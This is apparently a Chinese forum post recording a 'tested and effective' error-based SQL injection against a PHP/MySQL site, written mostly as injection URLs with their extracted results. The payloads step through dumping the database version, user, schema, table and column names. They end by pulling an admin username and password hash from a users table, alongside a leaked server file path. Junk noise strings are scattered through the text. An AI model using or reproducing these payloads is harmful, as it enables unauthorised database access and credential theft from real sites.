php+mysql高级爆错注入经测算有效

admin

http://www.wooyun.org/bugs/wooyun-2010-01666

之前想找个测试 没想到这有 可以测试下做个记录而已
3 N1 n/ g( ~+ P6 d
- D9 B# U4 @* s8 w, phttp://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003
4 d! }' d+ n* H0 V2 A
/data0/htdocs/leqi_new/app/myapp.php

或者

$ K& [" Y8 U- b2 [$ z- [6 K/**********version()**********/ 5.1.49-log
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
" e. m- J& [& \/ T* @4 e
/**********user()**********/  
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
% S0 n% A) F6 d, ~% V' M  }* y' V
/**********database()**********/  leqi
2 \  j1 G! F$ X6 y, U$ A( S% l( [http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
/ x8 n5 e, G( p5 |& Q2 j" ]: _
4 s$ J: h% W/ h* I+ }& Q  j' ~/**********limit依次递归爆库**********/
. i1 w% y# ~( t$ Ahttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
information_schema
9 c- S& ?) T. y3 G, w7 A: o6 F$ mhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
leqi
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
test
- F$ S. e7 E4 I- e  g
/**********limit依次递归爆表名**********/
/ S7 Q  G& A# v7 x  j7 @http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
* w. h; V3 U, E; O5 [5 g* m+ Vusers
& E1 @# Q0 d) `" V5 w1 x
/**********limit依次递归爆字段名**********/
$ \! k$ o/ N( q  t7 s# r1 p8 Z8 _: `http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
user_id,username,nickname,passwd,group_id
- I+ {3 |- t( _, ihttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
; Y' \. l2 z( S9 |1 c/wapc/5000_0005_003
11 21
& R& w  f, c: d* W0 ^$ ghttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
% h: k' E1 q  a$ N+ T/wapc/5000_0005_003
11 341 351 361
) j0 q4 K5 B- e+ Z2 ], ^3 E3 R0 O/**********爆数据**********/
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
- C( T* v- H- Jadmin
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
9 D0 ]/ _( R3 Q# j: u: [* F6a8b4574ca231eb8bd52764d4978ffcd
, K& D% M; m, W8 C# H4 V
5 T' X* u" w% B3 ?